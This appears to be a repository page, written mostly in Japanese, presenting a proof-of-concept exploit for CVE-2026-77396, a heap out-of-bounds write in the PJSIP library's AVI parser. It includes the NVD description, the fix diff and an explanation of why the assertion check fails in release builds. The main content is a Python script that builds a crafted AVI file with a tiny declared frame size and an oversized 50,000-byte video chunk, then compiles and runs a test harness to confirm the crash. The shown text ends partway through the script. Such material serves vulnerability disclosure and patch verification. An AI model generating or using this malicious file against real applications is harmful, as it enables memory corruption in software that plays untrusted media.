saretawa/cve-2026-77396PJSIPのAVIパーサーにおいてヒープ領域の境界外書き込みを引き起こす悪意のあるAVIファイルを作成する概念実証（CVE-2026-77396）。ASanによる検証とパッチ分析を含む。
CVEに関するNISTの説明:
PJSIP is a free and open source multimedia communication library written in C. In 2.17 and earlier, the PJSIP AVI parser
in pjmedia/src/pjmedia/avi_player.c uses an input-file video chunk length as the number of bytes copied into a frame
buffer whose capacity is derived from the declared media dimensions. A crafted AVI file can therefore cause an
attacker-controlled out-of-bounds write past the heap allocation when an application plays the file or pulls its frames.
The existing size assertion does not protect production release builds, where assertions are disabled. Typical local
playback can crash the process, while applications that accept untrusted AVI sources expose a stronger memory-corruption
condition. No fixed version is available as of this review.
diff を主に確認します:
git diff 7ecc65849\^..7ecc65849 -- pjmedia/src/pjmedia/avi_player.c 12:57
diff --git a/pjmedia/src/pjmedia/avi_player.c b/pjmedia/src/pjmedia/avi_player.c
index af66be12f..1db41f719 100644
--- a/pjmedia/src/pjmedia/avi_player.c
+++ b/pjmedia/src/pjmedia/avi_player.c
@@ -1218,12 +1218,40 @@ static pj_status_t avi_get_frame(pjmedia_port *this_port,
goto on_error2;
fport->size_left -= size_to_read;
} else {
- pj_assert(frame->size >= ch.len);
- status = file_read3(fport->fd, frame->buf, ch.len,
+ pj_uint32_t read_len = ch.len;
+
+ /* Clamp the read to the frame buffer capacity. A crafted
+ * file may declare a chunk larger than the buffer, whose
+ * size is derived from the (also file-supplied) video
+ * dimensions; never write past frame->buf (frame->size
+ * bytes). Do not rely on pj_assert() here, as it is a no-op
+ * in release builds.
+ */
+ if (read_len > frame->size) {
+ PJ_LOG(3, (THIS_FILE,
+ "AVI video chunk (%u) exceeds frame buffer "
+ "(%u), truncating",
+ (unsigned)ch.len, (unsigned)frame->size));
+ read_len = (pj_uint32_t)frame->size;
+ }
+
+ status = file_read3(fport->fd, frame->buf, read_len,
0, &size_read);
if (status != PJ_SUCCESS)
goto on_error2;
- frame->size = ch.len;
+
+ /* Skip any remaining chunk bytes that did not fit, so the
+ * file position stays aligned to the next chunk.
+ */
+ if (ch.len > read_len) {
+ status = pj_file_setpos(fport->fd,
+ (pj_off_t)ch.len - read_len,
+ PJ_SEEK_CUR);
+ if (status != PJ_SUCCESS)
+ goto on_error2;
+ }
+
+ frame->size = read_len;
fport->size_left = 0;
}
基本的に脆弱な部分:
pj_assert(frame->size >= ch.len);
status = file_read3(fport->fd, frame->buf, ch.len, 0, &size_read);
frame->size = ch.len;
ch は AVI ファイルから読み取られるチャンクヘッダであり、動画チャンクが何バイト含まれるかを示す len フィールドを持っています。frame->buf は、動画の宣言された寸法（幅 × 高さ × ピクセルあたりのバイト数）に基づいて割り当てられるヒープバッファです。
これはチェックのつもりです：pj_assert(frame->size >= ch.len)
しかし pj_assert はリリース/本番ビルドでは何もしない（no-op）です。したがって、実際のデプロイでは検証が一切行われません。コードは ch.len バイトをそのまま frame->buf に読み込むだけです。
平たく言えば、デバッグビルドでは：pj_assert(frame->size >= ch.len) は条件が偽ならプログラムをクラッシュさせます。リリースビルドでは：その行は消え、チェックは一切行われず、file_read3 は小さすぎるバッファに ch.len バイトを平然と書き込みます。
次のような AVI ファイルを作成します：
動画ストリームヘッダが小さな寸法（例えば 16×16）を宣言する -< 小さな frame->buf の割り当て データセクション内の動画チャンクが大きな ch.len を宣言する → file_read3 がバッファをはるかに超えて書き込む
Exploit:
import struct, os, subprocess, sys, signal, glob, argparse
SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
PJPROJECT = os.path.join(SCRIPT_DIR, "pjproject")
AVI_FILE = os.path.join(SCRIPT_DIR, "crash.avi")
TEST_SRC = os.path.join(SCRIPT_DIR, "test_avi.c")
TEST_BIN = os.path.join(SCRIPT_DIR, "test_avi")
FIX_COMMIT = "7ecc6584969a923c4190b6912afbf5952b5a4b9f"
VID_W = 16
VID_H = 16
BPP = 24
OVERFLOW = 50000
def craft_avi(path):
# strf (BITMAPINFOHEADER)
strf = b'strf' + struct.pack('<II', 40, 40)
strf += struct.pack('<iiHH', VID_W, VID_H, 1, BPP)
strf += b'MJPG' + struct.pack('<I', 0)
strf += struct.pack('<iiII', 0, 0, 0, 0)
# strh (stream header)
strh = b'strh' + struct.pack('<I', 56)
strh += b'vids' + b'MJPG'
strh += struct.pack('<IIIIIIIIIII', 0, 0, 0, 1, 30, 0, 1, 0, 0, 0, 0)
strh += struct.pack('<II', 0, 0)
# strl LIST
strl_body = b'strl' + strh + strf
strl = b'LIST' + struct.pack('<I', len(strl_body)) + strl_body
# avih
avih = b'avih' + struct.pack('<I', 56)
avih += struct.pack('<IIIIIIII', 33333, 0, 0, 0, 1, 0, 1, 0)
avih += struct.pack('<II', VID_W, VID_H)
avih += struct.pack('<IIII', 0, 0, 0, 0)
# hdrl LIST
hdrl_body = b'hdrl' + avih + strl
hdrl = b'LIST' + struct.pack('<I', len(hdrl_body)) + hdrl_body
# movi LIST the oversized chunk
movi_body = b'movi' + b'00dc'
movi_body += struct.pack('<I', OVERFLOW)
movi_body += b'\x41' * OVERFLOW
movi = b'LIST' + struct.pack('<I', len(movi_body)) + movi_body
# RIFF wrapper
avi_body = b'AVI ' + hdrl + movi
riff = b'RIFF' + struct.pack('<I', len(avi_body)) + avi_body
with open(path, 'wb') as f:
f.write(riff)
buf_est = VID_W * VID_H * 4
print(f"[*] wrote {path} ({len(riff)} bytes)")
print(f"[*] video: {VID_W}x{VID_H} MJPG, buffer ~{buf_est} bytes, chunk {OVERFLOW} bytes")
def find_libs():
lib_files = []
for sub in ["pjlib/lib", "pjlib-util/lib", "pjmedia/lib",
"pjnath/lib", "third_party/lib"]:
d = os.path.join(PJPROJECT, sub)
if os.path.isdir(d):
lib_files.extend(sorted(glob.glob(os.path.join(d, "*.a"))))
return lib_files
def compile_test():
if not os.path.isfile(TEST_SRC):
print(f"[-] {TEST_SRC} not found"); return False
lib_files = find_libs()
if not lib_files:
print("[-] pjproject not built. see README"); return False
inc = [f"-I{PJPROJECT}/{d}/include" for d in
["pjlib", "pjlib-util", "pjmedia", "pjnath", "pjsip"]]
cmd = (["gcc", "-o", TEST_BIN, TEST_SRC] + inc
+ ["-Wl,--start-group"] + lib_files + ["-Wl,--end-group"]
+ ["-lasound", "-luuid", "-lm", "-lpthread", "-lSDL2", "-lv4l2"])
print(f"[*] compiling {os.path.basename(TEST_SRC)} ...")
r = subprocess.run(cmd, capture_output=True, text=True)
if r.returncode != 0:
print(f"[-] compile failed:\n{r.stderr}"); return False
print(f"[+] built {TEST_BIN}")
return True
def run_test():
if not os.path.isfile(TEST_BIN):
print("[-] test binary not found"); return
print(f"\n[*] running {os.path.basename(TEST_BIN)} {os.path.basename(AVI_FILE)}")
r = subprocess.run(
[TEST_BIN, AVI_FILE],
capture_output=True, text=True, timeout=10,
)
if r.stdout.strip():
print(r.stdout.strip())
if r.stderr.strip():
for line in r.stderr.strip().splitlines()[:15]:
print(line)
if r.returncode < 0:
sig = -r.returncode
try: name = signal.Signals(sig).name
except (ValueError, AttributeError): name = f"signal {sig}"
print(f"\n[+] crashed with {name} (exit {r.returncode})")
print(f"[+] heap OOB write confirmed, CVE-2026-77396")
elif r.returncode == 0:
print(f"\n[-] no crash, patched or debug build")
else:
print(f"\n[?] exit {r.returncode}")
def main():
parser = argparse.ArgumentParser(description="CVE-2026-77396 PoC")
parser.add_argument("--craft-only", action="store_true",
help="only craft the AVI file")
args = parser.parse_args()
print("CVE-2026-77396 PJSIP AVI parser heap OOB write\n")
craft_avi(AVI_FILE)